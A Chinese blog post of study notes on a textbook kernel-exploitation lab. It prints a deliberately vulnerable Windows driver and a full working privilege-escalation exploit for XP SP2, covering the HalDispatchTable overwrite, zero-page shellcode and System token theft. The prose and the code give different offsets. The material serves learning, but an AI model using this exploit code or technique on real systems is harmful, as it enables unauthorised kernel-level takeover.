0day書中內核漏洞exploitme.sys的學習記錄
前言
本文是對0day安全這本書中,關于內核漏洞的入門的例子的學習分享。由于作者這一部分有一些細節沒有說清楚,所以看的時候挺懵的。查了一些資料以后算是比較完整的理解了下來,分享出來給新手看看。
實驗環境是Win XP sp2。
漏洞程序
下面這段是對作者所說的具有的漏洞的驅動代碼,不過我對它進行了一些修改,可以更容易看懂。
#include #define DEVICE_NAME L"\\Device\\ExploitMe"#define DEVICE_LINK L"\\DosDevices\\ExploitMeLink"#define IOCTRL_BASE 0x800#define MYIOCTRL_CODE(i) CTL_CODE(FILE_DEVICE_UNKNOWN, IOCTRL_BASE + i, METHOD_NEITHER, FILE_ANY_ACCESS) // 讀寫方式是其他類型#define CTL_EXPLOIT_ME MYIOCTRL_CODE(0) VOID DriverUnload(IN PDRIVER_OBJECT driverObject);NTSTATUS DispatchCommon(PDEVICE_OBJECT pObj, PIRP pIrp);NTSTATUS DispatchIoCtrl(PDEVICE_OBJECT pObj, PIRP pIrp); NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath){ NTSTATUS status = STATUS_SUCCESS; PDEVICE_OBJECT pDeviceObj = NULL; UNICODE_STRING uDeviceName = RTL_CONSTANT_STRING(DEVICE_NAME); UNICODE_STRING uSymbolinkName = RTL_CONSTANT_STRING(DEVICE_LINK); ULONG i = 0; // 創建設備 status = IoCreateDevice(driverObject, NULL, &uDeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &pDeviceObj); if (!NT_SUCCESS(status)) { DbgPrint("IoCreateDevice Error 0x%X\r", status); goto exit; } // 設置數據交互方式 // pDeviceObj->Flags |= DO_BUFFERED_IO; // 緩沖區方式讀寫 // pDeviceObj->Flags |= DO_DIRECT_IO; // 直接方式讀寫 // 創建符號鏈接 status = IoCreateSymbolicLink(&uSymbolinkName, &uDeviceName); if (!NT_SUCCESS(status)) { DbgPrint("IoCreateSymbolicLink Error 0x%X\r", status); goto exit; } for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) { driverObject->MajorFunction[i] = DispatchCommon; } driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchIoCtrl; DbgPrint("驅動加載成功\r"); exit: driverObject->DriverUnload = DriverUnload; return STATUS_SUCCESS;} NTSTATUS DispatchIoCtrl(PDEVICE_OBJECT pObj, PIRP pIrp){ NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST; PIO_STACK_LOCATION pIoStack = NULL; ULONG uIoControlCode = 0, uInformation = 0, uInputLength = 0, uOutputLength = 0; PVOID pInputBuffer = NULL, pOutputBuffer = NULL; // 獲取設備棧 pIoStack = IoGetCurrentIrpStackLocation(pIrp); // 獲取輸入緩沖區長度與輸入緩沖區 uInputLength = pIoStack->Parameters.DeviceIoControl.InputBufferLength; pInputBuffer = pIoStack->Parameters.DeviceIoControl.Type3InputBuffer; // 獲取輸出緩沖區長度與輸出緩沖區 uOutputLength = pIoStack->Parameters.DeviceIoControl.OutputBufferLength; pOutputBuffer = pIrp->UserBuffer; // 獲取控制碼 uIoControlCode = pIoStack->Parameters.DeviceIoControl.IoControlCode; // 根據控制碼執行操作 switch(uIoControlCode) { case CTL_EXPLOIT_ME: { DbgPrint("CTL_EXPLOIT_ME"); if (uInputLength >= 4 && uOutputLength >= 4) { // 將輸入地址中的內容賦值到輸出地址中 *(PULONG)pOutputBuffer = *(PULONG)pInputBuffer; uInformation = sizeof(ULONG); status = STATUS_SUCCESS; } break; } default: { break; } } pIrp->IoStatus.Information = uInformation; pIrp->IoStatus.Status = status; IoCompleteRequest(pIrp, IO_NO_INCREMENT); return STATUS_SUCCESS;} NTSTATUS DispatchCommon(PDEVICE_OBJECT pObj, PIRP pIrp){ pIrp->IoStatus.Status = STATUS_SUCCESS; pIrp->IoStatus.Information = 0; IoCompleteRequest(pIrp, IO_NO_INCREMENT); return STATUS_SUCCESS;} VOID DriverUnload(IN PDRIVER_OBJECT driverObject){ UNICODE_STRING uSymbolLinkName = RTL_CONSTANT_STRING(DEVICE_LINK); if (driverObject->DeviceObject) { IoDeleteSymbolicLink(&uSymbolLinkName); IoDeleteDevice(driverObject->DeviceObject); } DbgPrint("驅動卸載完成\r");}
這段驅動代碼有以下兩個特點:
1、沒有指定設備的數據交互方式,此時用戶層和這個驅動的交互就會是METHOD_NEITHER。而這種方式會對用戶層傳入的輸入輸出的地址不會進行處理,直接進行更改。
2、在對應的控制碼的操作中,程序只是判斷輸入輸出的長度是否大于等于4。并沒有判斷輸入輸出的地址是否是合法的,地址中的內容是否是可以隨意更改的,直接就將輸入地址中的內容賦值到了輸出地址中。
接下來通過一個正常的示例來看看這段驅動的作用。
#include #include #include #define LINK_NAME "\\\\.\\ExploitMeLink"#define IOCTRL_BASE 0x800#define MYIOCTRL_CODE(i) CTL_CODE(FILE_DEVICE_UNKNOWN, IOCTRL_BASE + i, METHOD_NEITHER, FILE_ANY_ACCESS) // 讀寫方式是其他類型#define CTL_EXPLOIT_ME MYIOCTRL_CODE(0)#define INPUT_BUFFER_LENGTH 4#define OUT_BUFFER_LENGTH 4 void ShowError(PCHAR msg); int main(){ HANDLE hDevice = NULL; DWORD dwInput = 1900; DWORD dwOutput = 0; DWORD dwReturnLength = 0; hDevice = CreateFile(LINK_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if (hDevice == INVALID_HANDLE_VALUE) { ShowError("CreateFile"); goto exit; } printf("修改前的dwOutput:%d", dwOutput); if (!DeviceIoControl(hDevice, CTL_EXPLOIT_ME, &dwInput, INPUT_BUFFER_LENGTH, &dwOutput, OUT_BUFFER_LENGTH, &dwReturnLength, NULL)) { ShowError("DeviceIoControl"); goto exit; } printf("修改后的dwOutput:%d", dwOutput); exit: system("pause"); return 0;} void ShowError(PCHAR msg){ printf("%s Error %d", msg, GetLastError());}
在這段代碼中,將合法的輸入輸出地址也就是dwInput和dwOutput傳給了驅動。那么在驅動中,就會將dwInput中的內容賦值到dwOutput中。

可以看到,驅動成功的將輸出地址中保存的內容賦值到輸入地址中。但是由于沒有對地址的合法性進行檢查,所以如果可以知道保存了系統函數的地址,就可以直接修改這個地址中保存的數據。這樣,當程序再次調用這個函數的時候,就會調用我們寫入的地址。這個手法和IAT Hook的的原理是一樣的,感興趣的話可以看看這篇Win PE系列之導入表解析與IAT Hook技術。
作者給出的例子是,修改HAL_DISPATCH結構體中的HalQuerySuystemInformation的入口地址,將它改為0地址。這樣程序在調用這個函數的時候,就會調用0地址中保存的指令。而我們可以在0地址申請一段內存,并寫入想要執行的指令,這樣就達到了執行想要的指令的目的。
那么要完成上面的內容,就要以下三個步驟:
1、在0地址申請內存并寫入要執行的指令;
2、找到保存HalQuerySystemInformation函數地址的地址,并通過驅動將函數地址改為0地址;
3、調用HalQuerySystemInformation函數;
接下來將對這三個步驟進行一一講解。
漏洞利用
1、在0地址申請內存,并寫入要執行的指令
在這里,申請內存使用的內核API是ZwAllocateVirtualMemory,該函數的定義如下。
NTSTATUS NtAllocateVirtualMemory( __in HANDLE ProcessHandle, __inout PVOID *BaseAddress, __in ULONG_PTR ZeroBits, __inout PSIZE_T RegionSize, __in ULONG AllocationType, __in ULONG Protect );
參數 含義 ProcessHandle 要申請內存的進程句柄。使用NtCurrentProcess宏來指定當前進程 BaseAddress 期望內存基址指針。非0時,系統將計算此值得頁對齊地址,嘗試按照此地址塊申請內存。當該值等于0時,系統將尋找第一個未使用得內存塊。當函數調用成功時,此參數將接收實際得基址 ZeroBits 基址最高位為0得數量。當該值為0,此值將被忽略。 RegionSize 期望大小。系統計算實際基址與該值得頁對齊邊界,以實際分配大小。當函數調用成功時,此參數將接收實際分配得大小 AllocationType 指定要分配的頁類型 Protect 申請的頁屬性,這里選擇PAGE_EXECUTE_READWRITE,也就是可讀可寫可執行 |
由參數的含義可以知道,要申請0地址的內存是不可以通過直接將BaseAddress指定為0的方式來實現。因為你將它指定為0,那么就會有系統來決定分配內存的區域。想要在0地址分配內存,需要用到MEM_TOP_DOWN這個頁類型,也就是第五個參數要包含MEM_TOP_DOWN這個頁類型。
該類型的含義是將從盡可能高得地址分配內存。當第二個參數指定為一個比較小得數,比如1或者4這種,而第五個參數又帶有MEM_TOP_DOWN標志。那么根據頁對齊,此時會向上對齊,返回得BaseAddress就會是0且RegionSize將會是兩個頁的大小。
2、找到函數HalQuerySystemInformation函數地址的保存地址
要找到這個函數的保存地址,需要找到HalDispatchTable。該值是一個HAL_DISPATCH結構體遍歷,首先看看HAL_DISPATCH結構體的定義。
typedef struct { ULONG Version; pHalQuerySystemInformation HalQuerySystemInformation; pHalSetSystemInformation HalSetSystemInformation; pHalQueryBusSlots HalQueryBusSlots; ULONG Spare1; pHalExamineMBR HalExamineMBR; pHalIoReadPartitionTable HalIoReadPartitionTable; pHalIoSetPartitionInformation HalIoSetPartitionInformation; pHalIoWritePartitionTable HalIoWritePartitionTable; pHalHandlerForBus HalReferenceHandlerForBus; pHalReferenceBusHandler HalReferenceBusHandler; pHalReferenceBusHandler HalDereferenceBusHandler; pHalInitPnpDriver HalInitPnpDriver; pHalInitPowerManagement HalInitPowerManagement; pHalGetDmaAdapter HalGetDmaAdapter; pHalGetInterruptTranslator HalGetInterruptTranslator; pHalStartMirroring HalStartMirroring; pHalEndMirroring HalEndMirroring; pHalMirrorPhysicalMemory HalMirrorPhysicalMemory; pHalEndOfBoot HalEndOfBoot; pHalMirrorVerify HalMirrorVerify; pHalGetAcpiTable HalGetCachedAcpiTable; pHalSetPciErrorHandlerCallback HalSetPciErrorHandlerCallback; #if defined(_IA64_) pHalGetErrorCapList HalGetErrorCapList; pHalInjectError HalInjectError;#endif } HAL_DISPATCH, *PHAL_DISPATCH;
根據改結構體的定義,可以看到HalQuerySystemInformation函數就保存在HAL_DISPATCH結構體偏移為0x04的地址。而HalDispatchTable是從內核模塊中導出的,所以要就需要找到內核模塊在內存中的基地址,再根據偏移得到HalDispatchTable的VA。而要找到內核模塊的基地址就需要用到ZwQuerySystemInformation這個API。該函數的定義如下:
NTSTATUS WINAPI ZwQuerySystemInformation( __in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength);
參數 含義 SystemInformationClass 要檢索的類型。是一個SYSTEM_INFORMATION_CLASS的聯合體 SystemInformation 指向緩沖區的指針,用于接收請求信息。該信息的大小和結構取決于SystemInformationClass SystemInformationLength SystemInformation參數指向的緩沖區的大小 ReturnLength 指向函數寫入所請求信息的實際大小的位置的可選指針。如果該大小小于或等于SystemInformationLength參數,則函數將信息復制到SystemInformation緩沖區中;否則,它將返回NTSTATUS錯誤代碼,并以ReturnLength的形式返回接收請求信息所需的緩沖區大小。 |
而SYSTEM_INFORMATION_CLASS,在文檔中的部分內容如下:
typedef enum _SYSTEM_INFORMATION_CLASS { SystemInformationClassMin = 0, SystemBasicInformation = 0, SystemProcessInformation = 5, SystemProcessesAndThreadsInformation = 5, SystemModuleInformation = 11, SystemExceptionInformation = 33, SystemKernelDebuggerInformation = 35,} SYSTEM_INFORMATION_CLASS;
當該值指定的是SystemModuleInformation(11)的時候,SystemInformation返回的就是SYSTEM_MODULE_INFORMATION的指針。改結構體的定義如下:
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { ULONG Unknown1; ULONG Unknown2; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; /* Length of module name not including the path, this field contains valid value only for NTOSKRNL module */ USHORT NameLength; USHORT LoadCount; USHORT PathLength; CHAR ImageName[256];} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Count; SYSTEM_MODULE_INFORMATION_ENTRY Module[1];} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
可以看到SYSTEM_MODULE_INFORMATION中保存了SYSTEM_MODULE_INFORMATION_ENTRY的數組。數組中的每一個元數都保存了一個模塊的信息,其中的Base保存模塊的加載地址,ImageName保存了模塊的名稱。而本次查詢一共有多少個SYSTEM_MODULE_INFORMATION的數組則保存在Count中。
由于,一開始并不知道要申請多大的內存才可以保存這些數據。所以,需要調用兩次函數,第一次調用的目的就是通過將第三個參數傳入0來獲得需要使用的內存大小。
查詢到的內核模塊中的第一個就是要使用的內核模塊。這樣就可以獲得這個內核模塊的名稱,接下來就需要使用LdrLoadDll來將內核模塊導入,該函數的定義如下:
#define IMP_SYSCALL __declspec(dllimport) NTSTATUS __stdcall IMP_SYSCALL LdrLoadDll(IN PWSTR DllPath OPTIONAL, IN PULONG DllCharacteristics OPTIONAL, IN PUNICODE_STRING DllName, OUT PVOID *DllHandle);
參數 含義 DllPath 可選,指定要加載的DLL的路徑 DllCharacteristics 可選,指向要加載的DLL的屬性 DllName 指向要加載的DLL的名稱 DllHandle 用來接收得到的DLL的句柄 |
通過這個函數就可以將模塊加載到內存中算出HalDispatchTable的偏移,在使用上面得到的ImageBase就可以計算機HalDispatchTable在內核中的具體位置,接下來就通過IO控制碼發送消息給驅動完成修改。
3、調用HalQuerySystemInformation函數
要調用這個函數,只需要調用NtQueryIntervalProfile函數的時候,它的第一個參數傳入的不等于ProfileTime和ProfileAlignmentFixup就好。
ShellCode的提權原理
首先要知道0xFFDFF000這個地址保存的是_KPCR,該結構體的定義如下:
kd> dt _KPCRnt!_KPCR +0x000 NtTib : _NT_TIB +0x01c SelfPcr : Ptr32 _KPCR +0x020 Prcb : Ptr32 _KPRCB +0x024 Irql : UChar +0x028 IRR : Uint4B +0x02c IrrActive : Uint4B +0x030 IDR : Uint4B +0x034 KdVersionBlock : Ptr32 Void +0x038 IDT : Ptr32 _KIDTENTRY +0x03c GDT : Ptr32 _KGDTENTRY +0x040 TSS : Ptr32 _KTSS +0x044 MajorVersion : Uint2B +0x046 MinorVersion : Uint2B +0x048 SetMember : Uint4B +0x04c StallScaleFactor : Uint4B +0x050 DebugActive : UChar +0x051 Number : UChar +0x052 Spare0 : UChar +0x053 SecondLevelCacheAssociativity : UChar +0x054 VdmAlert : Uint4B +0x058 KernelReserved : [14] Uint4B +0x090 SecondLevelCacheSize : Uint4B +0x094 HalReserved : [16] Uint4B +0x0d4 InterruptMode : Uint4B +0x0d8 Spare1 : UChar +0x0dc KernelReserved2 : [17] Uint4B +0x120 PrcbData : _KPRCB
該結構體偏移0x120處保存的是_KPCB結構體,該結構體的部分定義如下:
kd> dt _KPRCBntdll!_KPRCB +0x000 MinorVersion : Uint2B +0x002 MajorVersion : Uint2B +0x004 CurrentThread : Ptr32 _KTHREAD +0x008 NextThread : Ptr32 _KTHREAD +0x00c IdleThread : Ptr32 _KTHREAD +0x010 Number : Char
據此可以知道0xFFDFF124保存的是當前線程的_KTHREAD,而_KTHREAD又是_ETHREAD結構體中的第一個成員,所以0xFFDFF124保存的其實是當前_ETHREAD結構體。_ETHREAD結構體中保存的內容如下:
kd> dt _ETHREADntdll!_ETHREAD +0x000 Tcb : _KTHREAD +0x1c0 CreateTime : _LARGE_INTEGER +0x1c0 NestedFaultCount : Pos 0, 2 Bits +0x1c0 ApcNeeded : Pos 2, 1 Bit +0x1c8 ExitTime : _LARGE_INTEGER +0x1c8 LpcReplyChain : _LIST_ENTRY +0x1c8 KeyedWaitChain : _LIST_ENTRY +0x1d0 ExitStatus : Int4B +0x1d0 OfsChain : Ptr32 Void +0x1d4 PostBlockList : _LIST_ENTRY +0x1dc TerminationPort : Ptr32 _TERMINATION_PORT +0x1dc ReaperLink : Ptr32 _ETHREAD +0x1dc KeyedWaitValue : Ptr32 Void +0x1e0 ActiveTimerListLock : Uint4B +0x1e4 ActiveTimerListHead : _LIST_ENTRY +0x1ec Cid : _CLIENT_ID +0x1f4 LpcReplySemaphore : _KSEMAPHORE +0x1f4 KeyedWaitSemaphore : _KSEMAPHORE +0x208 LpcReplyMessage : Ptr32 Void +0x208 LpcWaitingOnPort : Ptr32 Void +0x20c ImpersonationInfo : Ptr32 _PS_IMPERSONATION_INFORMATION +0x210 IrpList : _LIST_ENTRY +0x218 TopLevelIrp : Uint4B +0x21c DeviceToVerify : Ptr32 _DEVICE_OBJECT +0x220 ThreadsProcess : Ptr32 _EPROCESS +0x224 StartAddress : Ptr32 Void +0x228 Win32StartAddress : Ptr32 Void
可以看到_ETHREAD偏移0x200的地址,保存的是線程對應的_EPROCESS結構體,該結構體的部分成員如下:
kd> dt _EPROCESSntdll!_EPROCESS +0x000 Pcb : _KPROCESS +0x06c ProcessLock : _EX_PUSH_LOCK +0x070 CreateTime : _LARGE_INTEGER +0x078 ExitTime : _LARGE_INTEGER +0x080 RundownProtect : _EX_RUNDOWN_REF +0x084 UniqueProcessId : Ptr32 Void +0x088 ActiveProcessLinks : _LIST_ENTRY +0x090 QuotaUsage : [3] Uint4B +0x09c QuotaPeak : [3] Uint4B +0x0a8 CommitCharge : Uint4B +0x0ac PeakVirtualSize : Uint4B +0x0b0 VirtualSize : Uint4B +0x0b4 SessionProcessLinks : _LIST_ENTRY +0x0bc DebugPort : Ptr32 Void +0x0c0 ExceptionPort : Ptr32 Void +0x0c4 ObjectTable : Ptr32 _HANDLE_TABLE +0x0c8 Token : _EX_FAST_REF +0x0cc WorkingSetLock : _FAST_MUTEX
其中需要注意的三個成員是:
偏移 成員 含義 0x84 UniqueProcessId 進程PID 0x88 ActiveProcessLinks 雙向鏈表可以用來遍歷進程 0xC8 Token 保存了進程的令牌 |
所以作者給的ShellCode的提權辦法是通過0x88這個成員來遍歷所有的進程,去尋找System。因為System進程的PID都是等于4,如下圖所示,所以通過判斷0x84保存的進程PID是否是4來判斷是否找到了System進程。隨后將System進程的Token賦值給本進程這就完成了提權。
如果對這個遍歷進程的原理不太清楚的可以看下這一篇文章,下面有關于這種進程遍歷原理的描述進程隱藏技術(https://bbs.pediy.com/thread-269919.htm)。

完整的完成漏洞利用達到提權的代碼如下:
// exploit.cpp : 此文件包含 "main" 函數。程序執行將在此處開始并結束。// #include #include #include #include "ntapi.h"#pragma comment(linker, "/defaultlib:ntdll.lib") #define LINK_NAME "\\\\.\\ExploitMeLink"#define IOCTRL_BASE 0x800#define MYIOCTRL_CODE(i) CTL_CODE(FILE_DEVICE_UNKNOWN, IOCTRL_BASE + i, METHOD_NEITHER, FILE_ANY_ACCESS) // 讀寫方式是其他類型#define CTL_EXPLOIT_ME MYIOCTRL_CODE(0)#define INPUT_BUFFER_LENGTH 4#define OUT_BUFFER_LENGTH 4#define PAGE_SIZE 0x1000#define KERNEL_NAME_LENGTH 0X0D void ShowError(PCHAR msg, NTSTATUS status);NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength); BOOL g_bIsExecute = FALSE; int main(){ NTSTATUS status = STATUS_SUCCESS; HANDLE hDevice = NULL; DWORD dwReturnLength = 0, ShellCodeSize = PAGE_SIZE; PVOID ShellCodeAddress = NULL; PSYSTEM_MODULE_INFORMATION pModuleInformation = NULL; DWORD dwImageBase = 0; PVOID pMappedBase = NULL; UCHAR szImageName[KERNEL_NAME_LENGTH] = { 0 }; UNICODE_STRING uDllName; PVOID pHalDispatchTable = NULL, pXHalQuerySystemInformation = NULL; DWORD dwDllCharacteristics = DONT_RESOLVE_DLL_REFERENCES; // 獲得0地址的內存 ShellCodeAddress = (PVOID)sizeof(ULONG); status = NtAllocateVirtualMemory(NtCurrentProcess(), &ShellCodeAddress, 0, &ShellCodeSize, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); if (!NT_SUCCESS(status)) { printf("NtAllocateVirtualMemory Error 0x%X", status); goto exit; } // 將ShellCode寫到申請的0地址空間中 RtlMoveMemory(ShellCodeAddress, (PVOID)Ring0ShellCode, ShellCodeSize); // 此時dwReturnLength是0,所以函數會由于長度為0執行失敗 // 然后系統會在第四個參數指定的地址保存需要的內存大小 status = ZwQuerySystemInformation(SystemModuleInformation, pModuleInformation, dwReturnLength, &dwReturnLength); if (status != STATUS_INFO_LENGTH_MISMATCH) { ShowError("ZwQuerySystemInformation", status); goto exit; } // 按頁大小對齊 dwReturnLength = (dwReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG); pModuleInformation = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, dwReturnLength, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!pModuleInformation) { printf("VirtualAlloc Error"); goto exit; } status = ZwQuerySystemInformation(SystemModuleInformation, pModuleInformation, dwReturnLength, &dwReturnLength); if (!NT_SUCCESS(status)) { ShowError("ZwQuerySystemInformation", status); goto exit; } // 模塊加載的基地址 dwImageBase = (DWORD)(pModuleInformation->Module[0].Base); // 獲取模塊名 RtlMoveMemory(szImageName, (PVOID)(pModuleInformation->Module[0].ImageName + pModuleInformation->Module[0].PathLength), KERNEL_NAME_LENGTH); // 轉換為UNICODE_STRING類型 RtlCreateUnicodeStringFromAsciiz(&uDllName, (PUCHAR)szImageName); status = (NTSTATUS)LdrLoadDll(NULL, &dwDllCharacteristics, &uDllName, &pMappedBase); if (!NT_SUCCESS(status)) { ShowError("LdrLoadDll", status); goto exit; } // 獲取內核HalDispatchTable函數表地址 pHalDispatchTable = GetProcAddress((HMODULE)pMappedBase, "HalDispatchTable"); if (pHalDispatchTable == NULL) { printf("GetProcAddress Error"); goto exit; } pHalDispatchTable = (PVOID)((DWORD)pHalDispatchTable - (DWORD)pMappedBase + dwImageBase); pXHalQuerySystemInformation = (PVOID)((DWORD)pHalDispatchTable + sizeof(ULONG)); // 打開驅動設備 hDevice = CreateFile(LINK_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if (hDevice == INVALID_HANDLE_VALUE) { printf("CreateFile Error"); goto exit; } DWORD dwInput = 0; // 與驅動設備進行交互 if (!DeviceIoControl(hDevice, CTL_EXPLOIT_ME, &dwInput, INPUT_BUFFER_LENGTH, pXHalQuerySystemInformation, OUT_BUFFER_LENGTH, &dwReturnLength, NULL)) { printf("DeviceIoControl Error"); goto exit; } status = NtQueryIntervalProfile(ProfileTotalIssues, NULL); if (!NT_SUCCESS(status)) { ShowError("NtQueryIntervalProfile", status); goto exit; } if (g_bIsExecute) printf("Ring0 代碼執行完成"); exit: if (pModuleInformation) VirtualFree(pModuleInformation, dwReturnLength, MEM_DECOMMIT | MEM_RELEASE); if (hDevice) NtClose(hDevice); if (pMappedBase) LdrUnloadDll(pMappedBase); system("pause"); return 0;} NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength){ // 關閉頁保護 __asm { cli mov eax, cr0 and eax, ~0x10000 mov cr0, eax } __asm { // 取當前線程 mov eax, 0xFFDFF124 mov eax, [eax] // 取線程對應的EPROCESS mov esi, [eax + 0x220] mov eax, esisearchXp: mov eax, [eax + 0x88] sub eax, 0x88 mov edx, [eax + 0x84] cmp edx, 0x4 jne searchXp mov eax, [eax + 0xC8] mov [esi + 0xC8], eax } // 開起頁保護 __asm { mov eax, cr0 or eax, 0x10000 mov cr0, eax sti } g_bIsExecute = TRUE;} void ShowError(PCHAR msg, NTSTATUS status){ printf("%s Error 0x%X", msg, status);}
運行結果
可以看到,最終程序成功獲得了System的權限。
